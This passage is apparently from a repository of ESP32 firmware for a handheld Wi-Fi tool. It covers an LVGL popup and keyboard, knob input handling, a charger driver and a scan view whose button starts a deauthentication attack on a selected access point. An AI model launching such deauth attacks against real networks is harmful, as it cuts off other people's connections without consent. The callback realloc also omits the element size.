lv_obj_t *popup_background; 9 | 10 | static popup_config_t current_config; 11 | static popup_content_t content; 12 | 13 | #define POPUP_VIEW_WIDTH 300 14 | #define POPUP_VIEW_HEIGHT 130 15 | 16 | #define ASCII_START 0x21 17 | #define START_CHAR 0x41 18 | #define ASCII_END 0x7E 19 | 20 | #define TEXT_CHUNK 16 21 | static char *tmp_content = NULL; 22 | static size_t text_size = 0; 23 | static char keyboard_char = START_CHAR; 24 | 25 | static lv_obj_t *keyboard_span_container; 26 | static lv_span_t *keyboard_span; 27 | 28 | static size_t current_item; 29 | 30 | static void popup_clear_view() { 31 | current_config.type = POPUP_NOT_USED; 32 | lvgl_port_lock(0); 33 | lv_obj_clean(popup_container); 34 | lvgl_port_unlock(); 35 | } 36 | 37 | static void popup_refresh() { 38 | lvgl_port_lock(0); 39 | 40 | uint8_t y_offset = 0; 41 | if (current_config.title != NULL) { 42 | lv_obj_t *title_bar = lv_obj_create(popup_background); 43 | lv_obj_set_size(title_bar, POPUP_VIEW_WIDTH, 25); 44 | lv_obj_align(title_bar, LV_ALIGN_TOP_MID, 0, -2); 45 | lv_obj_add_style(title_bar, style_get_background_title_bar(), LV_PART_MAIN); 46 | lv_obj_t *title_label = lv_label_create(title_bar); 47 | lv_obj_add_style(title_label, style_get_font_bigfont(), LV_PART_MAIN); 48 | if (current_config.type == POPUP_ALERT) { 49 | lv_obj_add_style(title_label, style_get_font_alt_highlight(), 50 | LV_PART_MAIN); 51 | } 52 | lv_obj_align(title_label, LV_ALIGN_CENTER, 0, 2); 53 | lv_label_set_text(title_label, current_config.title); 54 | y_offset += 30; 55 | } 56 | if (current_config.type == POPUP_KEYBOARD) { 57 | if (keyboard_span_container != NULL) { 58 | lv_spangroup_delete_span(keyboard_span_container, keyboard_span); 59 | keyboard_span_container = NULL; 60 | } 61 | keyboard_span_container = lv_spangroup_create(popup_background); 62 | lv_obj_set_width(keyboard_span_container, POPUP_VIEW_WIDTH - 20); 63 | lv_obj_set_height(keyboard_span_container, POPUP_VIEW_HEIGHT - 20); 64 | lv_obj_align(keyboard_span_container, LV_ALIGN_TOP_LEFT, 5, y_offset); 65 | 66 | lv_obj_add_style(keyboard_span_container, 67 | style_get_background_transparent(), LV_PART_MAIN); 68 | lv_spangroup_set_align(keyboard_span_container, LV_TEXT_ALIGN_LEFT); 69 | lv_spangroup_set_overflow(keyboard_span_container, LV_SPAN_OVERFLOW_CLIP); 70 | lv_spangroup_set_indent(keyboard_span_container, 0); 71 | lv_spangroup_set_mode(keyboard_span_container, LV_SPAN_MODE_BREAK); 72 | 73 | keyboard_span = lv_spangroup_new_span(keyboard_span_container); 74 | lv_span_set_text(keyboard_span, content.content); 75 | lv_style_set_text_color(lv_span_get_style(keyboard_span), 76 | lv_color_hex(TEXT_COLOR)); 77 | 78 | keyboard_span = lv_spangroup_new_span(keyboard_span_container); 79 | char cur_char_buffer[2]; 80 | cur_char_buffer[0] = (char)keyboard_char; 81 | cur_char_buffer[1] = '\0'; 82 | lv_span_set_text(keyboard_span, cur_char_buffer); 83 | lv_style_set_text_color(lv_span_get_style(keyboard_span), 84 | lv_color_hex(HIGHLIGHT_COLOR)); 85 | 86 | lv_spangroup_refr_mode(keyboard_span_container); 87 | } else if (current_config.type == POPUP_ALERT || 88 | current_config.type == POPUP_INFO) { 89 | lv_obj_t *popup_label = lv_label_create(popup_background); 90 | lv_obj_align(popup_label, LV_ALIGN_CENTER, 0, 0); 91 | lv_label_set_text(popup_label, current_config.content); 92 | } else if (current_config.type == POPUP_MENU) { 93 | void *menu_labels[current_config.nb_items]; 94 | for (size_t i = 0; i < current_config.nb_items; i++) { 95 | menu_labels[i] = lv_label_create(popup_background); 96 | lv_obj_align((lv_obj_t *)menu_labels[i], LV_ALIGN_TOP_LEFT, 5, y_offset); 97 | lv_label_set_text((lv_obj_t *)menu_labels[i], current_config.items[i]); 98 | if (i == current_item) { 99 | lv_obj_add_style((lv_obj_t *)menu_labels[i], style_get_font_highlight(), 100 | LV_PART_MAIN); 101 | } 102 | y_offset += 10; 103 | } 104 | } 105 | 106 | lvgl_port_unlock(); 107 | } 108 | 109 | popup_types_t popup_get_current_type() { return current_config.type; } 110 | 111 | void popup_start(popup_config_t *config) { 112 | current_config = *config; 113 | if (current_config.type == POPUP_KEYBOARD) { 114 | if (content.content != NULL) { 115 | free(content.content); 116 | } 117 | text_size = 0; 118 | content.content = NULL; 119 | content.content_index = 0; 120 | keyboard_char = START_CHAR; 121 | } else if (current_config.type == POPUP_MENU) { 122 | current_item = 0; 123 | } 124 | content.type = current_config.type; 125 | lvgl_port_lock(0); 126 | popup_container = lv_obj_create(lv_screen_active()); 127 | lv_obj_set_size(popup_container, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 128 | lv_obj_align(popup_container, LV_ALIGN_CENTER, 0, 10); 129 | lv_obj_add_style(popup_container, style_get_background_transparent(), 130 | LV_PART_MAIN); 131 | 132 | popup_background = lv_obj_create(popup_container); 133 | lv_obj_set_size(popup_background, POPUP_VIEW_WIDTH, POPUP_VIEW_HEIGHT); 134 | lv_obj_align(popup_background, LV_ALIGN_CENTER, 0, 0); 135 | lv_obj_add_style(popup_background, style_get_background_popup(), 136 | LV_PART_MAIN); 137 | lv_obj_add_style(popup_background, style_get_background_danger(), 138 | LV_PART_SCROLLBAR); 139 | 140 | keyboard_span_container = NULL; 141 | lvgl_port_unlock(); 142 | popup_refresh(); 143 | } 144 | 145 | void popup_input(user_actions_t action) { 146 | if (action == KEY_CLICK_SHORT) { 147 | content.user_validation = false; 148 | content.content_index = current_item; 149 | popup_clear_view(); 150 | if (current_config.callback != NULL) { 151 | current_config.callback(&content); 152 | } 153 | return; 154 | } else if (action == WHEEL_CLICK_LONG) { 155 | content.user_validation = true; 156 | content.content_index = current_item; 157 | popup_clear_view(); 158 | if (current_config.callback != NULL) { 159 | current_config.callback(&content); 160 | } 161 | return; 162 | } else if (action == WHEEL_UP) { 163 | if (current_config.type == POPUP_KEYBOARD) { 164 | if (keyboard_char < ASCII_END) { 165 | keyboard_char++; 166 | } else { 167 | keyboard_char = ASCII_START; 168 | } 169 | } else if (current_config.type == POPUP_MENU) { 170 | if (current_item < current_config.nb_items - 1) { 171 | current_item++; 172 | } else { 173 | current_item = 0; 174 | } 175 | } 176 | } else if (action == WHEEL_DOWN) { 177 | if (current_config.type == POPUP_KEYBOARD) { 178 | if (keyboard_char > ASCII_START) { 179 | keyboard_char--; 180 | } else { 181 | keyboard_char = ASCII_END; 182 | } 183 | } else if (current_config.type == POPUP_MENU) { 184 | if (current_item > 0) { 185 | current_item--; 186 | } else { 187 | current_item = current_config.nb_items - 1; 188 | } 189 | } 190 | } else if (action == WHEEL_CLICK_SHORT) { 191 | if (current_config.type == POPUP_KEYBOARD) { 192 | if (text_size <= content.content_index + 1) { 193 | text_size += TEXT_CHUNK; 194 | tmp_content = realloc(content.content, text_size); 195 | content.content = tmp_content; 196 | } 197 | content.content[content.content_index++] = (char)keyboard_char; 198 | content.content[content.content_index] = '\0'; 199 | } else { 200 | content.user_validation = true; 201 | content.content_index = current_item; 202 | popup_clear_view(); 203 | if (current_config.callback != NULL) { 204 | current_config.callback(&content); 205 | } 206 | return; 207 | } 208 | } 209 | popup_refresh(); 210 | } 211 | -------------------------------------------------------------------------------- /components/userinputs/userinputs.c: -------------------------------------------------------------------------------- 1 | #include "userinputs.h" 2 | 3 | static const char *TAG = "User Inputs"; 4 | 5 | // Common ESP-IDF helpers 6 | #include "esp_check.h" 7 | #include "esp_log.h" 8 | 9 | // Key Button 10 | #include "iot_button.h" 11 | 12 | #define KEY_BTN_LONG_CLICK (2000) 13 | #define KEY_BTN_SHORT_CLICK (50) 14 | 15 | static button_handle_t key_btn = NULL; 16 | 17 | // Knob 18 | #include "driver/pulse_cnt.h" 19 | #include "freertos/FreeRTOS.h" 20 | #include "freertos/queue.h" 21 | 22 | #define KNOB_LONG_CLICK (1000) 23 | #define KNOB_SHORT_CLICK (50) 24 | 25 | #define KNOB_HIGH_LIMIT (100) 26 | #define KNOB_LOW_LIMIT (-100) 27 | 28 | #define KNOB_GLITCH_FILTER (5000) // in ns 29 | #define KNOB_CHECK_TIME (25) // in ms 30 | #define KNOB_TRESHOLD (2) 31 | 32 | #define KNOB_QUEUE_SIZE (16) 33 | #define KNOB_TASK_STACK_SIZE (4096) 34 | 35 | static button_handle_t knob_btn = NULL; 36 | 37 | static int pulse_count = 0; 38 | static int prev_count = 0; 39 | static int event_count = 0; 40 | static QueueHandle_t queue; 41 | static pcnt_unit_handle_t pcnt_unit = NULL; 42 | 43 | // List of callbacks 44 | static size_t userinput_callback_capacity = 10; 45 | static size_t userinput_callback_registrered = 0; 46 | userinputs_callback *userinputs_callbacks; 47 | static bool ignore = false; 48 | 49 | static void userinputs_parse_callbacks(user_actions_t action) { 50 | if (ignore) { 51 | return; 52 | } 53 | for (size_t i = 0; i < userinput_callback_registrered; i++) { 54 | userinputs_callbacks[i](action); 55 | } 56 | } 57 | 58 | static void knob_task(void *pvParams) { 59 | while (1) { 60 | if (xQueueReceive(queue, &event_count, pdMS_TO_TICKS(KNOB_CHECK_TIME))) { 61 | prev_count = 0; 62 | } else { 63 | ESP_ERROR_CHECK(pcnt_unit_get_count(pcnt_unit, &pulse_count)); 64 | if (pulse_count != prev_count) { 65 | 66 | if (pulse_count >= prev_count + KNOB_TRESHOLD) { 67 | prev_count = pulse_count; 68 | userinputs_parse_callbacks(WHEEL_UP); 69 | } else if (pulse_count <= prev_count - KNOB_TRESHOLD) { 70 | prev_count = pulse_count; 71 | userinputs_parse_callbacks(WHEEL_DOWN); 72 | } 73 | } 74 | } 75 | } 76 | } 77 | 78 | static void keybtn_clicked(void *arg, void *data) { 79 | button_event_t event; 80 | event = iot_button_get_event(key_btn); 81 | switch (event) { 82 | case BUTTON_LONG_PRESS_START: 83 | userinputs_parse_callbacks(KEY_CLICK_LONG); 84 | break; 85 | 86 | case BUTTON_SINGLE_CLICK: 87 | userinputs_parse_callbacks(KEY_CLICK_SHORT); 88 | 89 | default: 90 | break; 91 | } 92 | } 93 | 94 | static void knob_clicked(void *arg, void *data) { 95 | button_event_t event; 96 | event = iot_button_get_event(knob_btn); 97 | switch (event) { 98 | case BUTTON_LONG_PRESS_START: 99 | userinputs_parse_callbacks(WHEEL_CLICK_LONG); 100 | break; 101 | 102 | case BUTTON_SINGLE_CLICK: 103 | userinputs_parse_callbacks(WHEEL_CLICK_SHORT); 104 | 105 | default: 106 | break; 107 | } 108 | } 109 | 110 | static bool pcnt_on_reach(pcnt_unit_handle_t unit, 111 | const pcnt_watch_event_data_t *edata, 112 | void *user_ctx) { 113 | BaseType_t high_task_wakeup; 114 | QueueHandle_t queue = (QueueHandle_t)user_ctx; 115 | xQueueSendFromISR(queue, &(edata->watch_point_value), &high_task_wakeup); 116 | return (high_task_wakeup == pdTRUE); 117 | } 118 | 119 | esp_err_t userinputs_init(gpio_num_t key, gpio_num_t wheel_btn, 120 | gpio_num_t wheel_a, gpio_num_t wheel_b) { 121 | // Allocate space for callback list 122 | userinputs_callbacks = 123 | malloc(userinput_callback_capacity * sizeof(userinputs_callback)); 124 | 125 | // Create gpio key button 126 | button_config_t key_btn_cfg = { 127 | .type = BUTTON_TYPE_GPIO, 128 | .long_press_time = KEY_BTN_LONG_CLICK, 129 | .short_press_time = KEY_BTN_SHORT_CLICK, 130 | .gpio_button_config = 131 | { 132 | .gpio_num = key, 133 | .active_level = 0, 134 | }, 135 | }; 136 | 137 | key_btn = iot_button_create(&key_btn_cfg); 138 | if (key_btn == NULL) { 139 | ESP_LOGE(TAG, "Failed to create key button"); 140 | return ESP_FAIL; 141 | } 142 | iot_button_register_cb(key_btn, BUTTON_LONG_PRESS_START, keybtn_clicked, 143 | NULL); 144 | iot_button_register_cb(key_btn, BUTTON_SINGLE_CLICK, keybtn_clicked, NULL); 145 | 146 | // Create knob click button 147 | button_config_t knob_btn_cfg = { 148 | .type = BUTTON_TYPE_GPIO, 149 | .long_press_time = KNOB_LONG_CLICK, 150 | .short_press_time = KNOB_SHORT_CLICK, 151 | .gpio_button_config = 152 | { 153 | .gpio_num = wheel_btn, 154 | .active_level = 0, 155 | }, 156 | }; 157 | 158 | knob_btn = iot_button_create(&knob_btn_cfg); 159 | if (knob_btn == NULL) { 160 | ESP_LOGE(TAG, "Failed to create knob click button"); 161 | return ESP_FAIL; 162 | } 163 | iot_button_register_cb(knob_btn, BUTTON_LONG_PRESS_START, knob_clicked, NULL); 164 | iot_button_register_cb(knob_btn, BUTTON_SINGLE_CLICK, knob_clicked, NULL); 165 | 166 | pcnt_unit_config_t unit_config = { 167 | .high_limit = KNOB_HIGH_LIMIT, 168 | .low_limit = KNOB_LOW_LIMIT, 169 | }; 170 | 171 | ESP_RETURN_ON_ERROR(pcnt_new_unit(&unit_config, &pcnt_unit), TAG, 172 | "PCNT Init failed"); 173 | 174 | pcnt_glitch_filter_config_t filter_config = { 175 | .max_glitch_ns = KNOB_GLITCH_FILTER, 176 | }; 177 | pcnt_unit_set_glitch_filter(pcnt_unit, &filter_config); 178 | 179 | // Channel A 180 | pcnt_chan_config_t chan_a_config = { 181 | .edge_gpio_num = wheel_a, 182 | .level_gpio_num = wheel_b, 183 | }; 184 | pcnt_channel_handle_t pcnt_chan_a = NULL; 185 | ESP_RETURN_ON_ERROR(pcnt_new_channel(pcnt_unit, &chan_a_config, &pcnt_chan_a), 186 | TAG, "Failed to init channel A"); 187 | // Channel B 188 | pcnt_chan_config_t chan_b_config = { 189 | .edge_gpio_num = wheel_b, 190 | .level_gpio_num = wheel_a, 191 | }; 192 | pcnt_channel_handle_t pcnt_chan_b = NULL; 193 | ESP_RETURN_ON_ERROR(pcnt_new_channel(pcnt_unit, &chan_b_config, &pcnt_chan_b), 194 | TAG, "Failed to init channel A"); 195 | 196 | pcnt_channel_set_edge_action(pcnt_chan_a, PCNT_CHANNEL_EDGE_ACTION_DECREASE, 197 | PCNT_CHANNEL_EDGE_ACTION_INCREASE); 198 | pcnt_channel_set_level_action(pcnt_chan_a, PCNT_CHANNEL_LEVEL_ACTION_KEEP, 199 | PCNT_CHANNEL_LEVEL_ACTION_INVERSE); 200 | pcnt_channel_set_edge_action(pcnt_chan_b, PCNT_CHANNEL_EDGE_ACTION_INCREASE, 201 | PCNT_CHANNEL_EDGE_ACTION_DECREASE); 202 | pcnt_channel_set_level_action(pcnt_chan_b, PCNT_CHANNEL_LEVEL_ACTION_KEEP, 203 | PCNT_CHANNEL_LEVEL_ACTION_INVERSE); 204 | 205 | int watch_points[] = {KNOB_LOW_LIMIT, KNOB_HIGH_LIMIT}; 206 | for (size_t i = 0; i < sizeof(watch_points) / sizeof(watch_points[0]); i++) { 207 | ESP_ERROR_CHECK(pcnt_unit_add_watch_point(pcnt_unit, watch_points[i])); 208 | } 209 | 210 | pcnt_event_callbacks_t cbs = { 211 | .on_reach = pcnt_on_reach, 212 | }; 213 | queue = xQueueCreate(KNOB_QUEUE_SIZE, sizeof(int)); 214 | ESP_ERROR_CHECK(pcnt_unit_register_event_callbacks(pcnt_unit, &cbs, queue)); 215 | ESP_ERROR_CHECK(pcnt_unit_enable(pcnt_unit)); 216 | ESP_ERROR_CHECK(pcnt_unit_clear_count(pcnt_unit)); 217 | ESP_ERROR_CHECK(pcnt_unit_start(pcnt_unit)); 218 | xTaskCreate(knob_task, "knob_task", 4096, NULL, 2, NULL); 219 | return ESP_OK; 220 | } 221 | 222 | void userinputs_register_callback(userinputs_callback callback) { 223 | // Callback list is full reallocate space for it 224 | if (userinput_callback_registrered >= userinput_callback_capacity) { 225 | userinput_callback_capacity *= 2; 226 | userinputs_callbacks = 227 | realloc(userinputs_callbacks, userinput_callback_capacity); 228 | } 229 | userinput_callback_registrered++; 230 | userinputs_callbacks[userinput_callback_registrered - 1] = callback; 231 | } 232 | 233 | void userinputs_set_ignore(bool _ignore) { ignore = _ignore; } -------------------------------------------------------------------------------- /components/gui/views/scan_view.c: -------------------------------------------------------------------------------- 1 | #include "scan_view.h" 2 | 3 | #include 4 | 5 | #include "wifi.h" 6 | #include "wifi_attacks.h" 7 | 8 | static view_handler_t *calling_view; 9 | 10 | typedef enum { 11 | NOT_IN_VIEW, 12 | SCANNING_VIEW, 13 | APLIST_VIEW, 14 | APINFOS_VIEW, 15 | DEAUTH_VIEW 16 | } scan_views_t; 17 | 18 | scan_views_t current_view = NOT_IN_VIEW; 19 | 20 | static lv_obj_t *scan_view; 21 | static view_handler_t scan_view_handler; 22 | static uint8_t current_highlight_item = 0; 23 | lv_obj_t *spinner = NULL; 24 | 25 | static EventGroupHandle_t s_wifi_event_group; 26 | 27 | static void scan_view_draw_ap_list(void); 28 | static void scan_draw_deauth(uint8_t ap_index); 29 | static void scan_draw_ap_infos(uint8_t ap_index); 30 | static void scan_done_event(void *arg, esp_event_base_t event_base, 31 | int32_t event_id, void *event_data) { 32 | if (current_view == NOT_IN_VIEW) { 33 | return; 34 | } 35 | if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_SCAN_DONE) { 36 | userinputs_set_ignore(false); 37 | current_highlight_item = 0; 38 | scan_view_draw_ap_list(); 39 | } 40 | } 41 | 42 | static void scan_input_handler(user_actions_t user_action) { 43 | if (user_action == KEY_CLICK_SHORT) { 44 | if (current_view == DEAUTH_VIEW) { 45 | wifi_attack_dos_stop(); 46 | scan_view_draw_ap_list(); 47 | } else if (current_view == APINFOS_VIEW) { 48 | scan_view_draw_ap_list(); 49 | } else { 50 | calling_view->draw_view(scan_view_get_handler()); 51 | } 52 | } else if (user_action == WHEEL_UP && current_view == APLIST_VIEW) { 53 | current_highlight_item++; 54 | if (current_highlight_item >= wifi_get_all_ap_records()->count) { 55 | current_highlight_item = 0; 56 | } 57 | scan_view_draw_ap_list(); 58 | if (current_highlight_item > 7) { 59 | lvgl_port_lock(0); 60 | lv_obj_scroll_to_y(scan_view, -30, LV_ANIM_OFF); 61 | lvgl_port_unlock(); 62 | } 63 | } else if (user_action == WHEEL_DOWN && current_view == APLIST_VIEW) { 64 | if (current_highlight_item > 0) { 65 | current_highlight_item--; 66 | } else { 67 | current_highlight_item = wifi_get_all_ap_records()->count - 1; 68 | } 69 | 70 | scan_view_draw_ap_list(); 71 | if (lv_obj_get_scroll_top(scan_view) < 0) { 72 | lvgl_port_lock(0); 73 | lv_obj_scroll_to_y(scan_view, 30, LV_ANIM_OFF); 74 | lvgl_port_unlock(); 75 | } 76 | } else if (user_action == WHEEL_CLICK_SHORT) { 77 | if (current_view == APLIST_VIEW) { 78 | scan_draw_ap_infos(current_highlight_item); 79 | } else if (current_view == APINFOS_VIEW) { 80 | wifi_attack_dos_start(wifi_get_one_ap_record(current_highlight_item)); 81 | scan_draw_deauth(current_highlight_item); 82 | } 83 | } 84 | } 85 | 86 | static void scan_draw_ap_infos(uint8_t ap_index) { 87 | current_view = APINFOS_VIEW; 88 | lvgl_port_lock(0); 89 | lv_obj_clean(scan_view); 90 | scan_view = lv_obj_create(lv_screen_active()); 91 | lv_obj_set_size(scan_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 92 | lv_obj_align(scan_view, LV_ALIGN_TOP_LEFT, 0, 20); 93 | lv_obj_add_style(scan_view, style_get_background_main(), LV_PART_MAIN); 94 | 95 | lv_obj_t *ssid_lbl = lv_label_create(scan_view); 96 | lv_obj_align(ssid_lbl, LV_ALIGN_CENTER, 0, -60); 97 | lv_label_set_text_fmt(ssid_lbl, "%s", wifi_get_one_ap_record(ap_index)->ssid); 98 | lv_obj_add_style(ssid_lbl, style_get_font_bigfont(), LV_PART_MAIN); 99 | 100 | lv_obj_t *infos_lbl = lv_label_create(scan_view); 101 | lv_obj_align(infos_lbl, LV_ALIGN_TOP_LEFT, 5, 30); 102 | char bssid_str[20] = ""; 103 | wifi_get_bssid_string_from_record(ap_index, bssid_str); 104 | char phy_str[MAX_PHY_SIZE]; 105 | wifi_get_phy_from_record(ap_index, phy_str); 106 | lv_label_set_text_fmt( 107 | infos_lbl, 108 | "BSSID: %s\nChannel: %d RSSI: %d\nAuthMode: %s " 109 | "PHY:%s\nCypher Pairwise:%s Group:%s", 110 | bssid_str, wifi_get_one_ap_record(ap_index)->primary, 111 | wifi_get_one_ap_record(ap_index)->rssi, 112 | wifi_get_auth_string(wifi_get_one_ap_record(ap_index)->authmode), phy_str, 113 | wifi_get_cipher_string(wifi_get_one_ap_record(ap_index)->pairwise_cipher), 114 | wifi_get_cipher_string(wifi_get_one_ap_record(ap_index)->group_cipher)); 115 | 116 | lv_obj_t *short_click_lbl = lv_label_create(scan_view); 117 | lv_obj_add_style(short_click_lbl, style_get_font_danger(), LV_PART_MAIN); 118 | lv_obj_align(short_click_lbl, LV_ALIGN_CENTER, 0, 60); 119 | lv_label_set_text(short_click_lbl, "Click wheel to deauth"); 120 | 121 | lvgl_port_unlock(); 122 | } 123 | 124 | static void scan_view_clear() { 125 | current_view = NOT_IN_VIEW; 126 | lvgl_port_lock(0); 127 | lv_obj_clean(scan_view); 128 | lvgl_port_unlock(); 129 | } 130 | 131 | static void scan_draw_deauth(uint8_t ap_index) { 132 | current_view = DEAUTH_VIEW; 133 | lvgl_port_lock(0); 134 | lv_obj_clean(scan_view); 135 | scan_view = lv_obj_create(lv_screen_active()); 136 | lv_obj_set_size(scan_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 137 | lv_obj_align(scan_view, LV_ALIGN_TOP_LEFT, 0, 20); 138 | lv_obj_add_style(scan_view, style_get_background_main(), LV_PART_MAIN); 139 | 140 | spinner = lv_spinner_create(scan_view); 141 | lv_obj_set_size(spinner, 50, 50); 142 | lv_obj_center(spinner); 143 | lv_obj_set_style_arc_color(spinner, lv_color_hex(TEXT_COLOR), 0); 144 | lv_obj_set_style_arc_color(spinner, lv_color_hex(DANGER_COLOR), 145 | LV_PART_INDICATOR); 146 | lv_spinner_set_anim_params(spinner, 500, 200); 147 | 148 | lv_obj_t *deauth_lbl = lv_label_create(scan_view); 149 | lv_obj_align(deauth_lbl, LV_ALIGN_CENTER, 0, -60); 150 | lv_label_set_text_fmt(deauth_lbl, "Deauth attack on %s", 151 | wifi_get_one_ap_record(ap_index)->ssid); 152 | 153 | lv_obj_t *return_click_lbl = lv_label_create(scan_view); 154 | lv_obj_align(return_click_lbl, LV_ALIGN_CENTER, 0, 60); 155 | lv_obj_add_style(return_click_lbl, style_get_font_danger(), LV_PART_MAIN); 156 | lv_label_set_text(return_click_lbl, "Click return to stop attack"); 157 | 158 | lvgl_port_unlock(); 159 | } 160 | 161 | static void scan_view_draw_ap_list() { 162 | current_view = APLIST_VIEW; 163 | lvgl_port_lock(0); 164 | if (spinner != NULL) { 165 | lv_obj_delete(spinner); 166 | spinner = NULL; 167 | } 168 | lv_obj_clean(scan_view); 169 | scan_view = lv_obj_create(lv_screen_active()); 170 | lv_obj_set_size(scan_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 171 | lv_obj_align(scan_view, LV_ALIGN_TOP_LEFT, 0, 20); 172 | lv_obj_add_style(scan_view, style_get_background_main(), LV_PART_MAIN); 173 | 174 | const wifi_ap_records_t *records = wifi_get_all_ap_records(); 175 | uint16_t y = 5; 176 | void *wifi_labels[wifi_get_all_ap_records()->count]; 177 | for (size_t i = 0; i < wifi_get_all_ap_records()->count; i++) { 178 | wifi_labels[i] = lv_label_create(scan_view); 179 | lv_obj_align((lv_obj_t *)wifi_labels[i], LV_ALIGN_TOP_LEFT, 5, y); 180 | if (i == current_highlight_item) { 181 | lv_obj_add_style((lv_obj_t *)wifi_labels[i], style_get_font_highlight(), 182 | LV_PART_MAIN); 183 | lv_label_set_long_mode((lv_obj_t *)wifi_labels[i], 184 | LV_LABEL_LONG_SCROLL_CIRCULAR); 185 | } 186 | lv_label_set_text_fmt((lv_obj_t *)wifi_labels[i], "%s, RSSI:%d, Channel:%d", 187 | records->records[i].ssid, records->records[i].rssi, 188 | records->records[i].primary); 189 | y += 10; 190 | } 191 | lvgl_port_unlock(); 192 | } 193 | 194 | static void scan_view_draw(view_handler_t *_calling_view) { 195 | current_view = SCANNING_VIEW; 196 | calling_view = _calling_view; 197 | if (calling_view != scan_view_get_handler()) { 198 | calling_view->clear_view(); 199 | } 200 | set_current_view_handler(scan_view_get_handler()); 201 | lvgl_port_lock(0); 202 | scan_view = lv_obj_create(lv_screen_active()); 203 | lv_obj_set_size(scan_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 204 | lv_obj_align(scan_view, LV_ALIGN_TOP_LEFT, 0, 20); 205 | lv_obj_add_style(scan_view, style_get_background_main(), LV_PART_MAIN); 206 | 207 | spinner = lv_spinner_create(scan_view); 208 | lv_obj_set_size(spinner, 85, 85); 209 | lv_obj_center(spinner); 210 | lv_obj_set_style_arc_color(spinner, lv_color_hex(TEXT_COLOR), 0); 211 | lv_obj_set_style_arc_color(spinner, lv_color_hex(DANGER_COLOR), 212 | LV_PART_INDICATOR); 213 | lv_spinner_set_anim_params(spinner, 1000, 200); 214 | lvgl_port_unlock(); 215 | if (!wifi_is_connecting()) { 216 | userinputs_set_ignore(true); 217 | wifi_launch_scan(); 218 | } 219 | } 220 | 221 | void scan_view_init(void) { 222 | current_view = NOT_IN_VIEW; 223 | scan_view_handler.obj_view = scan_view; 224 | scan_view_handler.input_callback = scan_input_handler; 225 | scan_view_handler.draw_view = scan_view_draw; 226 | scan_view_handler.clear_view = scan_view_clear; 227 | s_wifi_event_group = xEventGroupCreate(); 228 | esp_event_loop_create_default(); 229 | esp_event_handler_instance_t scan_done; 230 | esp_event_handler_instance_register(WIFI_EVENT, WIFI_EVENT_SCAN_DONE, 231 | &scan_done_event, NULL, &scan_done); 232 | } 233 | 234 | view_handler_t *scan_view_get_handler(void) { return &scan_view_handler; } 235 | -------------------------------------------------------------------------------- /components/bq25896/bq25896.c: -------------------------------------------------------------------------------- 1 | #include "bq25896.h" 2 | 3 | // Common ESP-IDF Helpers 4 | #include "esp_check.h" 5 | #include "esp_err.h" 6 | #include "esp_log.h" 7 | 8 | static const char *TAG = "bq25896"; 9 | 10 | static i2c_port_t i2c_port; 11 | static SemaphoreHandle_t i2c_lock = NULL; 12 | 13 | static esp_err_t bq25896_read_register(uint8_t reg, uint8_t *buffer, 14 | uint8_t buffer_size) { 15 | while (xSemaphoreTake(i2c_lock, portMAX_DELAY) != pdPASS) { 16 | ESP_LOGI(TAG, "Read cannot take the lock"); 17 | return ESP_FAIL; 18 | } 19 | esp_err_t result = i2c_master_write_read_device( 20 | i2c_port, BQ25896_ADDR, (uint8_t *)®, 1, buffer, buffer_size, 21 | 200 / portTICK_PERIOD_MS); 22 | xSemaphoreGive(i2c_lock); 23 | return result; 24 | } 25 | 26 | static esp_err_t bq25896_write_register(uint8_t reg, uint8_t *buffer, 27 | uint8_t buffer_size) { 28 | uint8_t *write_buffer = 29 | (uint8_t *)malloc(sizeof(uint8_t) * (buffer_size + 1)); 30 | if (!write_buffer) { 31 | return ESP_FAIL; 32 | } 33 | write_buffer[0] = reg; 34 | memcpy(write_buffer + 1, buffer, buffer_size); 35 | while (xSemaphoreTake(i2c_lock, portMAX_DELAY) != pdPASS) { 36 | ESP_LOGI(TAG, "Write cannot take the lock"); 37 | return ESP_FAIL; 38 | } 39 | esp_err_t ret = 40 | i2c_master_write_to_device(i2c_port, BQ25896_ADDR, write_buffer, 41 | buffer_size + 1, 200 / portTICK_PERIOD_MS); 42 | xSemaphoreGive(i2c_lock); 43 | free(write_buffer); 44 | return ret; 45 | } 46 | 47 | static bool bq25896_get_register_bit(uint8_t reg, uint8_t bit) { 48 | uint8_t value; 49 | bq25896_read_register(reg, &value, 1); 50 | return value & BIT(bit); 51 | } 52 | 53 | static esp_err_t bq25896_set_register_bit(uint8_t reg, uint8_t bit) { 54 | uint8_t value; 55 | esp_err_t ret = bq25896_read_register(reg, &value, 1); 56 | if (ret != ESP_OK) { 57 | return ret; 58 | } 59 | value |= (BIT(bit)); 60 | return bq25896_write_register(reg, &value, 1); 61 | } 62 | 63 | static esp_err_t bq25896_clear_register_bit(uint8_t reg, uint8_t bit) { 64 | uint8_t value; 65 | esp_err_t ret = bq25896_read_register(reg, &value, 1); 66 | if (ret != ESP_OK) { 67 | return ret; 68 | } 69 | value &= (~BIT(bit)); 70 | return bq25896_write_register(reg, &value, 1); 71 | } 72 | 73 | void bq25896_init(i2c_port_t _i2c_port, SemaphoreHandle_t _i2c_lock) { 74 | i2c_lock = _i2c_lock; 75 | i2c_port = _i2c_port; 76 | bq25896_set_power_off_voltage(BQ25896_PWOFF_TRESHOLD); 77 | bq25896_set_input_current_limit(BQ25896_CURR_MAX); 78 | bq25896_disable_current_limit_pin(); 79 | bq25896_set_charge_target_voltage(BQ25896_CHARGE_VOLT_DEFAULT); 80 | bq25896_set_precharge_current(BQ25896_PRECHARGE_CURR_MIN); 81 | bq25896_set_charger_constant_current(BQ25896_CHARGE_CONST_CURR_DEFAULT); 82 | bq25896_enable_adc(); 83 | bq25896_disable_watchdog(); 84 | bq25896_enable_charge(); 85 | // bq25896_reset_registers(); 86 | } 87 | 88 | void bq25896_set_precharge_current(uint16_t milliamps) { 89 | if (milliamps % BQ25896_PRECHARGE_CURR_STEP) { 90 | uint16_t remainder = milliamps % BQ25896_PRECHARGE_CURR_STEP; 91 | milliamps = milliamps + BQ25896_PRECHARGE_CURR_STEP - remainder; 92 | } 93 | if (milliamps > BQ25896_PRECHARGE_CURR_MAX) { 94 | milliamps = BQ25896_PRECHARGE_CURR_MAX; 95 | } else if (milliamps < BQ25896_PRECHARGE_CURR_MIN) { 96 | milliamps = BQ25896_PRECHARGE_CURR_MIN; 